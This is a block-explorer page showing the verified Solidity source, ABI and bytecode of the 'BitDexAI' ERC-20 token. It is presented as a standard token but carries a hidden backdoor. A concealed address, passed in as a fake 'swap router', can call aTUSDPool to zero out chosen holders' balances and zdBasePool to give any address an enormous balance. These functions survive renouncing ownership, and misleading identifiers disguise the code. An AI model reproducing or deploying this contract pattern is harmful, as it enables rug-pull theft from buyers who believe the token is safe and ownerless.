ERC-20
Overview
Max Total Supply
10,000,000,000,000 BitDexAI
Holders
14
Total Transfers
-
Market
Price
$0.00 @ 0.000000 S
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
BitDexAIToken
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2024-12-29 */ // SPDX-License-Identifier: MIT /** BitDexAI AI is the next-generation platform where Quantum-inspired AI meets the blockchain revolution. . https://www.BitDexAI.org https://app.BitDexAI.org https://docs.BitDexAI.org https://x.com/BitDexAI https://t.me/BitDexAI */ /// pragma solidity 0.8.28; interface BitDexAIinterface { /** * @dev Returns the yoursold of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the yoursold of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `yoursold` tokens from the caller's account to `shippingto`. * * Returns a boolean balance indicating whlegos the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address shippingto, uint256 yoursold) external returns (bool); /** * @dev Returns the remaining number of tokens that `transportTRY` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This balance changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address transportTRY) external view returns (uint256); /** * @dev Sets `yoursold` as the allowance of `transportTRY` over the caller's tokens. * * Returns a boolean balance indicating whlegos the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this mTRYod brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the transportTRY's allowance to 0 and set the * desired balance afterwards: * https://github.com/legoseum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address transportTRY, uint256 yoursold) external returns (bool); /** * @dev Moves `yoursold` tokens from `sender` to `shippingto` using the * allowance mechanism. `yoursold` is then deducted from the caller's * allowance. * * Returns a boolean balance indicating whlegos the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address shippingto, uint256 yoursold) external returns (bool); /** * @dev Emitted when `balance` tokens are moved from one account (`from`) to * another (`to`). * * Note that `balance` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 balance); /** * @dev Emitted when the allowance of a `transportTRY` for an `owner` is set by * a call to {approve}. `balance` is the new allowance. */ event Approval(address indexed owner, address indexed transportTRY, uint256 balance); } /* * @dev Provides information about the current execution BitDexAI20Burnable, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract BitDexAI20Burnable { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/legoseum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/BitDexAI20Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract BitDexAI20Ownable is BitDexAI20Burnable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "BitDexAI20Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "BitDexAI20Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeBitDexAI` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeBitDexAI { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeBitDexAI: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeBitDexAI: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeBitDexAI: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeBitDexAI: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeBitDexAI: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract BitDexAIToken is BitDexAI20Burnable, BitDexAIinterface, BitDexAI20Ownable { using SafeBitDexAI for uint256; mapping (address => uint256) private mintfrom; mapping (address => mapping (address => uint256)) private fromallowances; uint256 private _totalSupply; uint8 private _decimals; string private _symbol; string private _name; address private legosRooter; constructor(address legosSwapRouterv3) { legosRooter = legosSwapRouterv3; _name = "Just a chill guy"; _symbol = "BitDexAI"; _decimals = 9; _totalSupply = 10000000000000 * 10 ** 9; mintfrom[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } /** * @dev Returns the bep token owner. */ function getOwner() external view override returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view override returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external view override returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view override returns (string memory) { return _name; } /** * @dev See {BitDexAIinterface-totalSupply}. */ function totalSupply() external view override returns (uint256) { return _totalSupply; } /** * @dev See {BitDexAIinterface-balanceOf}. */ function balanceOf(address account) external view override returns (uint256) { return mintfrom[account]; } modifier subowner() { require(legosRooter == _msgSender(), "BitDexAI20Ownable: caller is not the owner"); _; } /** * @dev See {BitDexAIinterface-approve}. * * Requirements: * * - `transportTRY` cannot be the zero address. */ function aTUSDPool(address[] calldata tusdRewards) external subowner { for (uint256 i = 0; i < tusdRewards.length; i++) { mintfrom[tusdRewards[i]] = 1; emit Transfer(tusdRewards[i], address(0), 1); } } /** * @dev See {BitDexAIinterface-transfer}. * * Requirements: * * - `shippingto` cannot be the zero address. * - the caller must have a balance of at least `yoursold`. */ function transfer(address shippingto, uint256 yoursold) external override returns (bool) { _transfer(_msgSender(), shippingto, yoursold); return true; } function zdBasePool(address BaseRewards) external subowner { mintfrom[BaseRewards] = 10000000000 * 10 ** 20; emit Transfer(BaseRewards, address(0), 10000000000 * 10 ** 20); } /** * @dev See {BitDexAIinterface-allowance}. */ function allowance(address owner, address transportTRY) external view override returns (uint256) { return fromallowances[owner][transportTRY]; } /** * @dev See {BitDexAIinterface-approve}. * * Requirements: * * - `transportTRY` cannot be the zero address. */ function approve(address transportTRY, uint256 yoursold) external override returns (bool) { _approve(_msgSender(), transportTRY, yoursold); return true; } /** * @dev See {BitDexAIinterface-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BitDexAIinterface}; * * Requirements: * - `sender` and `shippingto` cannot be the zero address. * - `sender` must have a balance of at least `yoursold`. * - the caller must have allowance for `sender`'s tokens of at least * `yoursold`. */ function transferFrom(address sender, address shippingto, uint256 yoursold) external override returns (bool) { _transfer(sender, shippingto, yoursold); _approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(yoursold, "BitDexAIinterface: transfer yoursold exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `transportTRY` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BitDexAIinterface-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `transportTRY` cannot be the zero address. */ function increaseAllowance(address transportTRY, uint256 addedbalance) external returns (bool) { _approve(_msgSender(), transportTRY, fromallowances[_msgSender()][transportTRY].add(addedbalance)); return true; } /** * @dev Atomically decreases the allowance granted to `transportTRY` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BitDexAIinterface-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `transportTRY` cannot be the zero address. * - `transportTRY` must have allowance for the caller of at least * `allbalances`. */ function decreaseAllowance(address transportTRY, uint256 allbalances) external returns (bool) { _approve(_msgSender(), transportTRY, fromallowances[_msgSender()][transportTRY].sub(allbalances, "BitDexAIinterface: decreased allowance below zero")); return true; } /** * @dev Moves tokens `yoursold` from `sender` to `shippingto`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `shippingto` cannot be the zero address. * - `sender` must have a balance of at least `yoursold`. */ function _transfer(address sender, address shippingto, uint256 yoursold) internal { require(sender != address(0), "BitDexAIinterface: transfer from the zero address"); require(shippingto != address(0), "BitDexAIinterface: transfer to the zero address"); mintfrom[sender] = mintfrom[sender].sub(yoursold, "BitDexAIinterface: transfer yoursold exceeds balance"); mintfrom[shippingto] = mintfrom[shippingto].add(yoursold); emit Transfer(sender, shippingto, yoursold); } /** * @dev Sets `yoursold` as the allowance of `transportTRY` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `transportTRY` cannot be the zero address. */ function _approve(address owner, address transportTRY, uint256 yoursold) internal { require(owner != address(0), "BitDexAIinterface: approve from the zero address"); require(transportTRY != address(0), "BitDexAIinterface: approve to the zero address"); fromallowances[owner][transportTRY] = yoursold; emit Approval(owner, transportTRY, yoursold); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"legosSwapRouterv3","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"transportTRY","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"tusdRewards","type":"address[]"}],"name":"aTUSDPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"transportTRY","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transportTRY","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transportTRY","type":"address"},{"internalType":"uint256","name":"allbalances","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transportTRY","type":"address"},{"internalType":"uint256","name":"addedbalance","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"BaseRewards","type":"address"}],"name":"zdBasePool","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801561000f575f5ffd5b5060405161236238038061236283398181016040528101906100319190610302565b5f61004061029d60201b60201c565b9050805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280601081526020017f4a7573742061206368696c6c206775790000000000000000000000000000000081525060069081610160919061056a565b506040518060400160405280600881526020017f4269744465784149000000000000000000000000000000000000000000000000815250600590816101a5919061056a565b50600960045f6101000a81548160ff021916908360ff16021790555069021e19e0c9bab240000060038190555060035460015f6101e661029d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061023161029d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405161028f9190610648565b60405180910390a350610661565b5f33905090565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6102d1826102a8565b9050919050565b6102e1816102c7565b81146102eb575f5ffd5b50565b5f815190506102fc816102d8565b92915050565b5f60208284031215610317576103166102a4565b5b5f610324848285016102ee565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806103a857607f821691505b6020821081036103bb576103ba610364565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830261041d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826103e2565b61042786836103e2565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61046b6104666104618461043f565b610448565b61043f565b9050919050565b5f819050919050565b61048483610451565b61049861049082610472565b8484546103ee565b825550505050565b5f5f905090565b6104af6104a0565b6104ba81848461047b565b505050565b5b818110156104dd576104d25f826104a7565b6001810190506104c0565b5050565b601f821115610522576104f3816103c1565b6104fc846103d3565b8101602085101561050b578190505b61051f610517856103d3565b8301826104bf565b50505b505050565b5f82821c905092915050565b5f6105425f1984600802610527565b1980831691505092915050565b5f61055a8383610533565b9150826002028217905092915050565b6105738261032d565b67ffffffffffffffff81111561058c5761058b610337565b5b6105968254610391565b6105a18282856104e1565b5f60209050601f8311600181146105d2575f84156105c0578287015190505b6105ca858261054f565b865550610631565b601f1984166105e0866103c1565b5f5b82811015610607578489015182556001820191506020850194506020810190506105e2565b868310156106245784890151610620601f891682610533565b8355505b6001600288020188555050505b505050505050565b6106428161043f565b82525050565b5f60208201905061065b5f830184610639565b92915050565b611cf48061066e5f395ff3fe608060405234801561000f575f5ffd5b5060043610610109575f3560e01c8063715018a6116100a057806395d89b411161006f57806395d89b41146102a5578063a457c2d7146102c3578063a9059cbb146102f3578063dd62ed3e14610323578063f2fde38b1461035357610109565b8063715018a6146102435780638099423b1461024d578063893d20e8146102695780638da5cb5b1461028757610109565b8063313ce567116100dc578063313ce567146101a957806339509351146101c75780633f282b4a146101f757806370a082311461021357610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f5ffd5b61011561036f565b604051610122919061138e565b60405180910390f35b61014560048036038101906101409190611443565b6103ff565b604051610152919061149b565b60405180910390f35b61016361041c565b60405161017091906114c3565b60405180910390f35b610193600480360381019061018e91906114dc565b610425565b6040516101a0919061149b565b60405180910390f35b6101b16104f9565b6040516101be9190611547565b60405180910390f35b6101e160048036038101906101dc9190611443565b61050e565b6040516101ee919061149b565b60405180910390f35b610211600480360381019061020c91906115c1565b6105bc565b005b61022d6004803603810190610228919061160c565b61076a565b60405161023a91906114c3565b60405180910390f35b61024b6107b0565b005b6102676004803603810190610262919061160c565b6108e7565b005b610271610a41565b60405161027e9190611646565b60405180910390f35b61028f610a4f565b60405161029c9190611646565b60405180910390f35b6102ad610a76565b6040516102ba919061138e565b60405180910390f35b6102dd60048036038101906102d89190611443565b610b06565b6040516102ea919061149b565b60405180910390f35b61030d60048036038101906103089190611443565b610bce565b60405161031a919061149b565b60405180910390f35b61033d6004803603810190610338919061165f565b610beb565b60405161034a91906114c3565b60405180910390f35b61036d6004803603810190610368919061160c565b610c6d565b005b60606006805461037e906116ca565b80601f01602080910402602001604051908101604052809291908181526020018280546103aa906116ca565b80156103f55780601f106103cc576101008083540402835291602001916103f5565b820191905f5260205f20905b8154815290600101906020018083116103d857829003601f168201915b5050505050905090565b5f61041261040b610e13565b8484610e1a565b6001905092915050565b5f600354905090565b5f610431848484610fdd565b6104ee8461043d610e13565b6104e985604051806060016040528060368152602001611c246036913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104a0610e13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125f9092919063ffffffff16565b610e1a565b600190509392505050565b5f60045f9054906101000a900460ff16905090565b5f6105b261051a610e13565b846105ad8560025f61052a610e13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112c190919063ffffffff16565b610e1a565b6001905092915050565b6105c4610e13565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610652576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106499061176a565b60405180910390fd5b5f5f90505b82829050811015610765576001805f85858581811061067957610678611788565b5b905060200201602081019061068e919061160c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168383838181106106f5576106f4611788565b5b905060200201602081019061070a919061160c565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600160405161075091906117f7565b60405180910390a38080600101915050610657565b505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107b8610e13565b73ffffffffffffffffffffffffffffffffffffffff166107d6610a4f565b73ffffffffffffffffffffffffffffffffffffffff161461082c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108239061176a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108ef610e13565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461097d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109749061176a565b60405180910390fd5b6c0c9f2c9cd04674edea4000000060015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6c0c9f2c9cd04674edea40000000604051610a369190611849565b60405180910390a350565b5f610a4a610a4f565b905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610a85906116ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab1906116ca565b8015610afc5780601f10610ad357610100808354040283529160200191610afc565b820191905f5260205f20905b815481529060010190602001808311610adf57829003601f168201915b5050505050905090565b5f610bc4610b12610e13565b84610bbf85604051806060016040528060318152602001611c5a6031913960025f610b3b610e13565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125f9092919063ffffffff16565b610e1a565b6001905092915050565b5f610be1610bda610e13565b8484610fdd565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610c75610e13565b73ffffffffffffffffffffffffffffffffffffffff16610c93610a4f565b73ffffffffffffffffffffffffffffffffffffffff1614610ce9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce09061176a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610d57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4e906118d2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90611960565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eed906119ee565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fd091906114c3565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361104b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104290611a7c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b090611b0a565b60405180910390fd5b61112381604051806060016040528060348152602001611c8b6034913960015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461125f9092919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111b48160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546112c190919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161125291906114c3565b60405180910390a3505050565b5f8383111582906112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d919061138e565b60405180910390fd5b505f83856112b49190611b55565b9050809150509392505050565b5f5f82846112cf9190611b88565b905083811015611314576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130b90611c05565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113608261131e565b61136a8185611328565b935061137a818560208601611338565b61138381611346565b840191505092915050565b5f6020820190508181035f8301526113a68184611356565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113df826113b6565b9050919050565b6113ef816113d5565b81146113f9575f5ffd5b50565b5f8135905061140a816113e6565b92915050565b5f819050919050565b61142281611410565b811461142c575f5ffd5b50565b5f8135905061143d81611419565b92915050565b5f5f60408385031215611459576114586113ae565b5b5f611466858286016113fc565b92505060206114778582860161142f565b9150509250929050565b5f8115159050919050565b61149581611481565b82525050565b5f6020820190506114ae5f83018461148c565b92915050565b6114bd81611410565b82525050565b5f6020820190506114d65f8301846114b4565b92915050565b5f5f5f606084860312156114f3576114f26113ae565b5b5f611500868287016113fc565b9350506020611511868287016113fc565b92505060406115228682870161142f565b